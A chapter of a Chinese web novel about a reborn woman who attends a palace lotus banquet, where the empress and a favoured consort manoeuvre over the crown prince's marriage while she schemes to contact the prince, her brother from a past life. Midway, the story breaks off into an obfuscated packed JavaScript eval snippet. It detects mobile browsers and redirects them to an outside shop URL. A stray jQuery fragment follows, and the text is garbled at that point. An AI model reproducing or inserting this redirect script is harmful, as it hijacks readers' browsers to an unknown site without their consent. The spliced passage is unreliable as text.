半个时辰后,容菀坐上了去宫宴的马车。
她微微抬眸,目光对上坐在她斜对面的江云。
这是戚氏的女儿,但就方才一路来看,性情与其母极为不同。
二人相对无言,容菀没太在意,想到半个时辰前的事情,心里就不由一乐。
定远侯夫人确实不让她去宫宴,但是戚氏正好与她不合啊!
就她那巴不得给她添堵的样子,想必也很乐意看到张氏脸都气绿。
于是她就去寻了戚氏,委婉地表示自己想去。
戚氏一听,不知是不是想起今早张氏对于带容菀赴宴的恶劣态度,还是预见到张氏在宫宴上见到容菀气不打一处来的样子。
眼珠子一转,当下二人一拍即合。
你赴你的想去的宴,我气我想气的人。
甚至为此还寻来了一套衣裳让她换上。
然后容菀就在这辆马车上了。
不得不说的是,这戚氏虽泼辣,说话还带着一股子蛮不讲理的味道,但在这方面与她也算是某种意义上的“志同道合”。
都想撕开定远侯夫人那丑恶的嘴脸。
容菀想着噗嗤一笑,笑声在马车里格外清晰。
江云望向她:
“堂嫂?”
容菀敛了笑容,肃了肃脸,轻咳一声:
“哦,没事,想到一些事情。”
江云点点头,也没多问。
只是多道了一句:
“等会儿宫宴上,堂嫂要是有什么不懂的,可以问我。”
容菀闻言,不由看了她一眼。
笑了笑,领了这份好意。
这可是个聪明人了。
虽则来到江家才两天,但容菀倒是大致摸清了江家后院那几位的性子。
譬如张氏多思易怒却好面子,戚氏泼辣刁钻小心思不少,江晴沉不住气一点就炸,某种程度上和她母亲很像。
但,唯独这位二小姐江云,她看不清。
早上请安时她似乎从头到尾没说过一句话。
可这会儿倒是叫她高看一眼。
张氏看不起她这个商户女就从不带自己儿媳出去见见世面,可这算什么?
其他高门大户一想便明白了。
越是这般,她们就越是认定定远侯世子夫人是个粗鄙不堪的。
明面上不说,背地里不知怎么传的,越来越离谱都是有可能的。
要不然她怎么不敢带出来?
原身怎么样她不了解,却也知道谁的规矩礼仪都不是天生的,若是悉心教导,凭着这个容貌气质更不可能差到哪里去。
要不然怎么说张氏蠢呢?
这点道理想不明白。
简直是钻到原身身份这个死窟窿眼里了。
戚氏一心想着添堵去了,完全没想到她们是一家人。
一荣俱荣,一损俱损。
倒是江云知道,她这个世子夫人出了问题对她们没半点好处。
方才那番话什么意思?
委婉地提醒自己别出岔子。
容菀闭目养了养神,马车停在宫道上。
至宫门百步前,二人下了马车。
藕荷色披帛襦裙轻薄垂顺,随风而动,行动有如流水般的轻盈。
容菀轻拂衣袖,下意识抬头。
九重宫阙,华楼危宇。
恍若隔世。
侍从领着她们入了宫门。
“夫人,请。”
戚氏示意二人跟上。
夏夜宴设在清湖亭中。
清湖亭顾名思义,位于清湖正中央,隔岸九曲回廊,华灯掩映。
此时正值夏日,湖中清荷初绽,水面上悬浮花灯,映照荷花朵朵,透着朦胧的绿,娇艳的粉,华彩的金。
若繁星璀璨。
放眼望去好一片夏夜盛景。
顺着回廊往前,衣袂香鬓,清亭玉阶之上一片欢语之声。
“堂嫂与我一道吧。”
江云对她微微一笑。
容菀无可无不可,好歹在宫里生活了这么些年,不至于连宫规礼仪都不清楚。
对方一片好意,容菀笑着道了谢。
亭中有人注意到这边,容菀走近,便听有人道:
“咦,这是哪家夫人?怎的从未见过?”
话语声吸引了众人,容菀刹那便感受到许多目光落在自己身上。
张氏显然也注意到了,看到来人是容菀,脸色就顿时沉了下来。
容菀大大方方抬眸,朝她一笑。
张氏脸色更差了。
戚氏看到她那大嫂僵住的面容,心里一阵舒爽。
当下更是认定了自己把容菀带过来是个多么正确的选择!
她上前“友好”地拉过张氏的手。
“大嫂,这是高兴坏了?”
“瞧您,走得匆忙,是忘了侄媳身子好转了?我就知道,好在我替您把她带过来了。”
容菀笑着给张氏请安,同时向各位夫人问好。
规矩礼仪竟是挑不出一丝差错。
众夫人面面相觑。
谁不知道定远侯府娶了个商户女。
士农工商,商为下九流。
对于这个儿媳妇,定远侯夫人藏着掖着,就是不带出来,京中私下对此议论许久了。
定远侯府对外称是世子夫人病了,然而今日一见……
宁国公夫人意味深长道:
“侯夫人好福气,有个这般容止有度,大方得体又容貌出挑的好媳妇儿,今个儿可算舍得带出来了?”
宁国公府是当今皇后母族,家门显赫,无人敢轻易得罪。
不过定远侯府却是太子母族,若非得分个高低,谁高谁低还真不一定。
只是爵位身份摆在那,不可能不给皇后面子,张氏只好扯出一个笑:“这不是前些日子我这儿媳病了吗?让诸位见笑了。”
宁国公夫人一笑。
“皇后娘娘到——”
内侍高声喝道。
众人纷纷敛衽行礼。
皇后抬手免了礼,在主位上坐下。
众人也纷纷落座。
“太子呢?”
皇后问一旁的内侍。
“回娘娘的话,太子殿下还未到。”
“太子可说了何时到?”
“并……并未。”
小太监没说的是他先前派人去请时,东宫那边模棱两可,甚至都不一定来。
皇后皱了皱眉。
要知道皇后办这场宫宴表面上是给诸世家相看,实际上就是为了给太子选妃。
太子不来怎么行?
原本按规矩她这个嫡母做主并无不妥,可她清楚太子的性子,恐生不满。
不止皇后在担忧,容菀也在担忧。
她费尽心思来这宫宴可不是为了赏荷的。
见不到她皇兄岂不是白搞?
虽然说就算见到了可能也不一定有用。
先不说他信不信自己穿到别人身上自己诡异的事情。
但是先见一面,试探一二,还是有必要的,到时候见机行事。
有些他们从前相处的细节只有彼此知道。
万一成功了呢?
“此处竟这般热闹,本宫倒是来晚了。”
思索间,一道笑语声入耳,尾音往上挑着,又带着几分嚣张。
周围人纷纷起身:“拜见贵妃娘娘。”
“贵妃来了。”
“皇后娘娘。”周贵妃微微屈膝行礼。
皇后淡淡点头:“贵妃坐吧。”
“贵妃不是身子不适?”
皇后问。
周贵妃抬手端茶抿了一口,挑眉笑道:
“好些了,不过是最近天气太过燥热,臣妾先前不曾出来瞧过,谁知这夏夜中的清湖畔清风徐徐,实乃散暑佳地,何况今日这么多年轻漂亮的小姑娘在场,臣妾怎能不来一饱眼福?”
“娘娘这夏夜宴办得如此华美,臣妾又怎能不捧场?”
“贵妃果然会说话。”
皇后似笑非笑。
在坐也有不少妃嫔,谁不知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17938555|213794||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
皇后与贵妃和平表象之下的暗流涌动。
皇后是太子养母,而贵妃盛宠加身,膝下个二皇子。
二人母族在朝中算得上政敌。
捧场是假,为二皇子选妃拉势力才是真吧?
不过,选不上太子妃,二皇子妃似乎也不错?
底下人心思各异,宁国公夫人带着她女儿王斐上前拜见皇后。
皇后让人坐在了自己身侧。
王斐是皇后的侄女,又有京城才女之名,若说太子妃之位皇后最属意谁,那必然是宁国公家的女儿了。
众人当然都是这么想的。
然而皇后并不是。
能无子这么多年还稳坐皇后之位的王氏是个十足清醒的人。
她已经是皇后了,如若她的侄女还成皇后,那么在圣上看来,这胃口就有点大了。
所以哪怕私心有念,理智上也知晓轻重。
圣上不会允许,太子更不可能任人摆布。
所以她一直以来对当今透露的意思都是,侧妃之位。
没办法,待太子继位,她们宁国公府也不能在后宫无人。
哪朝高门贵族不明白这个道理?
枕边风不一定有用,但也未必完全没用。
“再去请太子,”皇后顿了顿,道:
“去陛下那边禀告一声。”
内侍闻言便下去了。
宴上的夫人都是眼观六路,耳听八方的。
眼见宴席已经过了近半,太子却仍旧未到,便知晓其中必是有什么情况。
上首的皇后依次又叫了几位官家小姐上前说话。
亭中以屏风为界,其中隔一条过道供行酒令时走动,男宾都在北面。
众人心思活络之时,内侍入内禀告:太子到了。
众人松了一口气。
皇后点点头,太子还是分得清轻重的,知晓无论如何也不该在这种时候不给她面子。
“娘娘,是否要开始?”
皇后颔首应允,随即笑着拍了拍手,两队宫人鱼贯而入,手捧酒壶站在一侧。
“光赏荷没意思,今夜行令,可用前人旧句,可诉眼前景,席间事或是心中情,当然,若有那等文采斐然者,亦可自创,格律不拘,不得出者,罚酒三杯。”
此话一出,众人听明白了,既说了可作诗,那重点自然就在这上头了。
这既是予世家儿女表现机会,亦是为席间增添趣味。
至于那句“可用前人旧句”便是给不擅此道的一个台阶下了。
至于已婚的夫人们,参与不参与都无不可,参与了当玩乐,不参与就纯旁观,主要也是陪自家儿女来的。
比如容菀就没什么兴趣。
自方才太子到了,此刻她全心都在这位皇兄身上,更是思索着如何才能见他一面。
容菀隔着屏风望过去。
这云纱屏风半透半明,隐约见得背面上首一个挺拔的轮廓,朦朦胧胧看不真切。
一屏之隔的谢临渊坐在上首,修长的手指百无聊赖地勾转着手中的酒杯,晶莹的酒水映照出一双漠然沉寂的眼睛。
“太子殿下,太子殿下?”
身边人关切的问道,又谈了几句最近的京中事。
谢临渊有一搭没一搭地回应了两句。
那人察觉到太子态度冷淡,只好讪讪退下。
二皇子那头倒是也聚了些人。
男女席间不过隔了扇屏风,对面说什么自然也是极其清楚的,闻言要作诗,当下便有擅长的少年人起身跃跃欲试。
有甚者与对面对起了诗。
容菀百无聊赖地等着,想着何时才能结束成功见到皇兄。
一会儿又想见了面该怎么说?
难道直接说自己死而复生了?
不会被当疯子抓起来吧。
要不到时候先暗示一二。
等等……
这眼下作什么诗不就是个大好机会?
虽然她不会作诗,但谁说不能念诗呢。
皇后可是说了可引前人旧句的!